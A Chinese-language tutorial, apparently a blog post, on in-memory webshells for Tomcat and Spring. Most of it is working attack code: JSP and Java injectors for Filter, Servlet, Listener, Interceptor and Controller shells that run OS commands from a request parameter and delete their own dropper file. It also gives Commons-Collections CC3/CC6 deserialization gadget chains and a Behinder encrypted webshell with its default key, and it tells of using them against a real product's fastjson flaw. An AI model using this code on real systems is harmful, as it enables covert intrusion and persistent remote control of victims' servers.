内存马即学即用

不同于理论分析文章,这边分为三个部分,从理论到实战,主要是想让大家入门一下内存马的原理,以及学习利用CC链或者fastjson等打内存马的一些坑点还有如何注入内存马连接冰蝎,让师傅们能快速在实战中上手。
目录
Tomcat三种内存马
Spring内存马结合反序列化相关利用
实战利用
一、Tomcat三种内存马
首先了解下tomcat的三种内存马的原理和简单实用

filter型内存马
Tomcat filter注册流程
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。

调试跟入可以在堆栈中看到filterChain,我们接着查看哪里创建了它
在这里插入图片描述

在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法
在这里插入图片描述
可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中
在这里插入图片描述
前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern
在这里插入图片描述
在这里插入图片描述
后面继续跟入这个循环中,这个循环就是遍历filterMaps,去匹配当前请求的url与filterMap中的urlpatter,如果相就进入if调用findFilterConfig方法找到对应FilterName的filterConfig。如果filterConfig不为空就进入addFilter,我们继续跟入

可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量
在这里插入图片描述
最终遍历完出来就完成了filterChain的一个组装
回到StandardWrapperValve中调用
在这里插入图片描述
跟进发现它又会调用internalDoFilter方法
这里会获取到所有的filterConfig然后依次进入到我们定义的doFilter方法中执行

在这里插入图片描述
在这里插入图片描述
我们跟据这个图理解filterConfig、filterMaps、filterDefs
在这里插入图片描述
其中filterConfigs也存放了context,两个context是一样的

根据上面的分析我们了解到,如果要实现filter类型内存马

大致流程如下:

创建一个恶意 Filter
利用 FilterDef 对 Filter 进行一个封装
将 FilterDef 添加到 FilterDefs 和 FilterConfig
创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import=“org.apache.catalina.core.ApplicationContext” %>
<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“java.util.Map” %>
<%@ page import=“java.io.IOException” %>
<%@ page import=“org.apache.tomcat.util.descriptor.web.FilterDef” %>
<%@ page import=“org.apache.tomcat.util.descriptor.web.FilterMap” %>
<%@ page import=“java.lang.reflect.Constructor” %>
<%@ page import=“org.apache.catalina.core.ApplicationFilterConfig” %>
<%@ page import=“org.apache.catalina.Context” %>
<%@ page import=“java.io.File” %>
<%@ page language=“java” contentType=“text/html; charset=UTF-8” pageEncoding=“UTF-8”%>

<%
final String name = “Qiu”;
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

//判断没有被注册
if (filterConfigs.get(name) == null) {
    // 创建恶意的filter
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest request1 = (HttpServletRequest) servletRequest;
            if (request1.getParameter("qiu") != null) {
                byte[] bytes = new byte[1024];
                Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
        }

        @Override
        public void destroy() {

        }
    };

    //获取filterDef,设置filter、类名、类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    //将filterDef添加进入filterDefs
    standardContext.addFilterDef(filterDef);

    //获取filterMap,设置UrlPattern、类名
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    //因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    //调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位
    standardContext.addFilterMapBefore(filterMap);

    //利用反射创建filterConfigs,并添加filterDef和StandardContext
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    //将filterConfig放入filterConfigs中
    filterConfigs.put(name, filterConfig);
    out.println("Hack success!");

    //文件自毁
    (new File(application.getRealPath(request.getServletPath()))).delete();
}

%>

在这里插入图片描述

在这里插入图片描述
Servlet型内存马
这里我们直接看实现类 ApplicationContext 的 addServlet 方法。

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map initParams) throws IllegalStateException {
//servlet不为空
if (servletName != null && !servletName.equals(“”)) {
this.checkState(“applicationContext.addServlet.ise”);
//根据name在context中的children中找到wrapper
Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
//如果wrapper不存在则创建
if (wrapper == null) {
wrapper = this.context.createWrapper();
wrapper.setName(servletName);
//添加到context的children中
this.context.addChild(wrapper);
} else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
if (!wrapper.isOverridable()) {
return null;
}

            wrapper.setOverridable(false);
        }

        //都是为了设置servletClass
        ServletSecurity annotation = null;
        if (servlet == null) {
            wrapper.setServletClass(servletClass);
            Class&lt;?&gt; clazz = Introspection.loadClass(this.context, servletClass);
            if (clazz != null) {
                annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
            }
        } else {
            wrapper.setServletClass(servlet.getClass().getName());
            wrapper.setServlet(servlet);
            if (this.context.wasCreatedDynamicServlet(servlet)) {
                annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
            }
        }

        if (initParams != null) {
            Iterator var9 = initParams.entrySet().iterator();

            while(var9.hasNext()) {
                Map.Entry initParam = (Map.Entry)var9.next();
                wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
            }
        }

        //用ApplicationServletRegistration创建对象并返回
        ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
        if (annotation != null) {
            registration.setServletSecurity(new ServletSecurityElement(annotation));
        }

        return registration;
    } else {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
    }
}

接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法
public Set addMapping(String… urlPatterns) {

    if (urlPatterns == null) {
        //为空返回一个不可变的Set对象
        return Collections.emptySet();
    } else {

        Set conflicts = new HashSet();
        String[] var3 = urlPatterns;
        int var4 = urlPatterns.length;

        int var5;
        String urlPattern;
        //遍历urlPatterns数组,就是一个去重操走
        for(var5 = 0; var5 &lt; var4; ++var5) {
            urlPattern = var3[var5];
            String wrapperName = this.context.findServletMapping(urlPattern);
            if (wrapperName != null) {
                Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName);
                if (wrapper.isOverridable()) {
                    this.context.removeServletMapping(urlPattern);
                } else {
                    conflicts.add(urlPattern);
                }
            }
        }

        if (!conflicts.isEmpty()) {
            return conflicts;
        } else {
            var3 = urlPatterns;
            var4 = urlPatterns.length;
            //向context中添加urlPattern和对应的wrapper
            for(var5 = 0; var5 &lt; var4; ++var5) {
                urlPattern = var3[var5];
                this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName());
            }

            if (this.constraint != null) {
                this.context.addServletSecurity(this, this.constraint);
            }

            return Collections.emptySet();
        }
    }
}

注意到向context中添加URL和对应的wrapper中调用了一个addServletMappingDecoded方法

通过这个方法向servletMappings添加处理后的,urlPattern和name
在这里插入图片描述
所以创建servlet内存马的步骤和之前类似,可以分为

创建恶意Servlet
用Wrapper对其进行封装
添加封装后的恶意Wrapper到StandardContext的children当中
添加ServletMapping将访问的URL和Servlet进行绑定
同时在 servletMappings 中添加 URL 路径与 name 的映射。
<%@ page contentType=“text/html;charset=UTF-8”%>
<%@ page import = “org.apache.catalina.core."%>
<%@ page import = "javax.servlet.
”%>
<%@ page import = “javax.servlet.http."%>
<%@ page import = "java.io.
”%>
<%@ page import = “java.lang.reflect.Field”%>

<%
// 创建恶意Servlet
class QiuServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) resp;
if (request1.getParameter(“qiu”) != null) {
byte[] bytes = new byte[1024];
Process process = Runtime.getRuntime().exec(request1.getParameter(“qiu”));
int len = process.getInputStream().read(bytes);
resp.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}else {
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}

    @Override
    public void destroy() {

    }
}

final String name = "Qiu";
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//用Wrapper对其进行封装
QiuServlet qiuServlet = new QiuServlet();
org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();
qiuWrapper.setName(name);
qiuWrapper.setLoadOnStartup(1);
qiuWrapper.setServlet(qiuServlet);
qiuWrapper.setServletClass(qiuServlet.getClass().getName());

//添加封装后的恶意Wrapper到StandardContext的children当中
standardContext.addChild(qiuWrapper);
// 同时在 servletMappings 中添加 URL 路径与 name 的映射
standardContext.addServletMappingDecoded("/Qiu", name);

out.println("Hack success!");
//销毁
(new File(application.getRealPath(request.getServletPath()))).delete();

%>
在这里插入图片描述
Listener型内存马
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
ServletRequestListener:对 Request 请求进行监听(创建、销毁)
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。

我们在requestInitialized处打个断点
在这里插入图片描述
查看栈帧定位到StandardHostValve的invoke方法
在这里插入图片描述
我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得
在这里插入图片描述
listener存放在applicationEventListenersList属性中
在这里插入图片描述
我们同样在StandardContext中找到相关的add方法
在这里插入图片描述
在这里插入图片描述
所以listener型的内存马注入很简单,就两步

创建恶意listener
将恶意listener添加到applicationEventListener中
<%@ page contentType=“text/html;charset=UTF-8” language=“java” %>
<%@ page import=“java.io.InputStream” %>
<%@ page import=“java.util.Scanner” %>
<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.connector.Request” %>
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“org.apache.catalina.core.ApplicationContext” %>
<%@ page import=“java.io.File” %>

<%

//创建恶意listener
class QiuListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter(“qiu”) != null) {
InputStream in = null;
boolean isLinux = true;
String osTyp = System.getProperty(“os.name”);
if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {
isLinux = false;
}
try {
String[] cmds = isLinux ? new String[]{“sh”, “-c”, req.getParameter(“qiu”)} : new String[]{“cmd.exe”, “/c”, req.getParameter(“qiu”)};
in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter(“\A” );
String out = scanner.hasNext() ? scanner.next() : “”;
Field requestFiled = req.getClass().getDeclaredField(“request” );
requestFiled.setAccessible(true);
Request request = (Request) requestFiled.get(req);
request.getResponse().getWriter().write(out);
}catch (Exception e) {

    }
  }
}

@Override
public void requestInitialized(ServletRequestEvent sre) {

  }
}

// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField(“context”);
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField(“context”);
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//将恶意listener添加到applicationEventListener中
QiuListener qiuListener = new QiuListener();
standardContext.addApplicationEventListener(qiuListener);

out.println(“Hack success!”);
// //销毁
(new File(application.getRealPath(request.getServletPath()))).delete();

%>

在这里插入图片描述
在这里插入图片描述
二、Spring内存马结合反序列化相关利用
环境
方便起见直接用SpringBoot了

org.springframework.boot spring-boot-starter-parent 2.4.5
<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2.1</version>
</dependency>

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-web</artifactId>
</dependency>
漏洞点

@RestController
public class VulController {
@RequestMapping(“/vul”)
@ResponseBody
public String vul(HttpServletRequest request, HttpServletResponse response, String payload) throws IOException, ClassNotFoundException {
if (payload != null) {
System.out.println(payload);
byte[] decode = Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return “attack success”;
}
return “payload null”;
}
}
Interceptor内存马利用
上面讲的是tomcat内存马相关,这里再利用spring的内存马进行实际环境演示,其实原理都可以举一反三。

一、准备
我们知道,将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中即可注册一个拦截器。 如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;

public class InterMemShell extends AbstractTranslet {
static {
try
{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(“org.springframework.web.servlet.DispatcherServlet.CONTEXT”, 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;

        field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");

        field.setAccessible(true);
        java.util.ArrayList adaptedInterceptors = null;

        adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);

        String className = "magicInterceptor";
        //加载magicInterceptor类的字节码
        String b64 = "base64 class";
        byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        m0.setAccessible(true);
        m0.invoke(classLoader, className, bytes, 0, bytes.length);
        //添加com.example.spring.magicInterceptor类到adaptedInterceptors
        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

    } catch (Exception e){
        e.printStackTrace();
    }

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
所以我们还需要一个类名为magicInterceptor(可以自定义,当然也要修改上面的className)的拦截器,重写preHandle方法。

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;

public class magicInterceptor extends HandlerInterceptorAdapter{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter(“qiu”);
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = “”;
ProcessBuilder p;
if(System.getProperty(“os.name”).toLowerCase().contains(“win”)){
p = new ProcessBuilder(new String[]{“cmd.exe”, “/c”, code});
}else{
p = new ProcessBuilder(new String[]{“/bin/sh”, “-c”, code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter(“\\A”);
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
e.printStackTrace();
}
return false;
}
return true;
}
}
我这里利用CC3的LazyMap + TemplatesImpl链子打

package Qiu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.;
import java.lang.reflect.
;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class templateClass = templates.getClass();
Field nameFiled = templateClass.getDeclaredField(“_name” );
nameFiled.setAccessible(true);
nameFiled.set(templates, “qiuqiu”);

    Field bytecodesFiled = templateClass.getDeclaredField("_bytecodes" );
    bytecodesFiled.setAccessible(true);

    byte[] code = Files.readAllBytes(Paths.get("xxx.class"));
    byte[][] codes = {code};
    bytecodesFiled.set(templates, codes);

    Field _tfField = templateClass.getDeclaredField("_tfactory");
    _tfField.setAccessible(true);
    _tfField.set(templates, new TransformerFactoryImpl());

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)};

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap map = new HashMap&lt;&gt;();
    Map Lazymap = LazyMap.decorate(map, chainedTransformer);

    Class&lt;?&gt; annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor&lt;?&gt; constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, Lazymap);

    //一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。
    Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),// 传入ClassLoader
            new Class[]{Map.class},// 传入要实现的接口
            h);// 传入处理调用方法的InvocationHandler
    Object o = constructor.newInstance(Override.class, maproxy);
    serialize(o);
    //unserialize("ser.bin");
}

public static void  serialize(Object obj) throws IOException {
    ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}
再准备一个Base64编码的工具类,因为后面肯定需要对字节码进行编码传输

package Qiu;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class B64Evil {
public static void main(String[] args) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get(“magicInterceptor.class”));
System.out.println(Base64.getEncoder().encodeToString(code1));
byte[] code = Files.readAllBytes(Paths.get(“ser.bin”));
System.out.println(Base64.getEncoder().encodeToString(code));
}
}
二、编译利用
接下来就需要进行编译恶意类了。 有些文章说直接用idea编译的,但是idea编译是会自带那个package包名的,如果有这个最后利用的时候会报.NoClassDefFoundError的错,我也不知道是怎么利用成功的。 所以就得用javac编译,如果直接javac xxx.java会报一堆的错误,因为是找不到依赖的,所以需要利用cp参数。这里放出我的命令,这里的jar包我全部放在当前文件夹了。版本的话自行测试。

javac -cp .:spring-web-4.3.28.RELEASE.jar:spring-webmvc-4.3.28.RELEASE.jar:javax.servlet-api-3.1.0.jar:spring-context-4.3.28.RELEASE.jar:spring-beans-4.3.28.RELEASE.jar:spring-core-4.3.28.RELEASE.jar InterMemShell.java
首先编译好magicInterceptor(也就是你重写preHandle方法的?) 然后对class进行base64编码,放入InterMemShell中,然后用同样的命令对InterMemShell进行编译 接着利用CC3序列化成ser.bin文件,然后对它进行base64编码打入,发包的时候需要url编码
在这里插入图片描述
三、注入冰蝎内存马
先看看冰蝎的?

<%@page import=“java.util.,javax.crypto.,javax.crypto.spec.*” %>
<%!class U extends ClassLoader{
U(ClassLoader c){super©;
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals(“POST”)){
String k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/
session.putValue(“u”,k);
Cipher c=Cipher.getInstance(“AES”);
c.init(2,new SecretKeySpec(k.getBytes(),“AES”));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
将之前的?替换为冰蝎的逻辑

public class magicInterceptor extends HandlerInterceptorAdapter{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

    HttpSession session = request.getSession();

    HashMap pageContext = new HashMap();
    pageContext.put("request",request);
    pageContext.put("response",response);
    pageContext.put("session",session);
    try {
        if (request.getMethod().equals("POST")) {
            String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
            session.putValue("u",k);
            Cipher c=Cipher.getInstance("AES");
            c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
            Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
            Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
            evilclass.newInstance().equals(pageContext);
        }
    } catch (Exception e){
        e.printStackTrace();
    }

    return true;
}

}
在这里插入图片描述
Controller内存马利用
冰蝎逻辑马子

import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;

public class magicController {
public void shell() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put(“request”,request);
pageContext.put(“response”,response);
pageContext.put(“session”,session);
try {
if (request.getMethod().equals(“POST”)) {
String k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/
session.putValue(“u”,k);
Cipher c=Cipher.getInstance(“AES”);
c.init(2,new SecretKeySpec(k.getBytes(),“AES”));
Method method = Class.forName(“java.lang.ClassLoader”).getDeclaredMethod(“defineClass”, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} catch (Exception e){
e.printStackTrace();
}
}
}
注入恶意controller内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;

public class ConMemShell extends AbstractTranslet {
static {
try {
String className = “magicController”;
//加载magicController类的字节码
String b64 = “b64”;
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(b64);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(“defineClass”, new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{className, d, 0, d.length});
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute(“org.springframework.web.servlet.DispatcherServlet.CONTEXT”, 0);
PatternsRequestCondition url = new PatternsRequestCondition(“/qiu”);
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
Method mm = Class.forName(className).getMethod(“shell”);
rs.registerMapping(info, Class.forName(className).newInstance(), mm);
}catch (Exception e){
e.printStackTrace();
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
同样利用CC3打注入,成功连接
在这里插入图片描述
三、实战利用
目标是某云匣子的fastjson漏洞,关于漏洞分析可以看网上其他文章。

问题
开始是简单的想到利用CC3加载恶意类,但是后面尝试发现是不行的。因为我们在CC链的时候了解过, 在jdk8u71之后,代理类AnnotationInvocationHandler​中的this.memberValues被替换为了linkedhashmap,所以会报错没有entrySet键。

解决
因为CC6是不受版本限制的,我们可以利用TemplatesImpl​改造它参考这个师傅 https://f4de-bak.github.io/pages/ca9de1/#%E6%94%B9%E9%80%A0cc6 具体代码为

package Qiu;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6V2 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(“xxx/java/Qiu/”);
CtClass ctClass = pool.get(“EvilTest”);
byte[] payloads = ctClass.toBytecode();
// byte[] payloads = Base64.getDecoder().decode();

    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
    setFieldValue(templates, "_name", "qiuqiu");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

    Transformer transformer = new InvokerTransformer("getClass", null, null);

    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformer);

    TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

    Map expMap = new HashMap();
    expMap.put(tme, "qiu");

    outerMap.clear();

    setFieldValue(transformer, "iMethodName", "newTransformer");

//
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(“ser.bin”));
// oos.writeObject(expMap);
// oos.close();

    unserialize("ser.bin");

}

public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

public static Object unserialize(String file) throws IOException, ClassNotFoundException {

// byte[] decode = Base64.getDecoder().decode(payload);
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object obj = ois.readObject();
return obj;
}
}
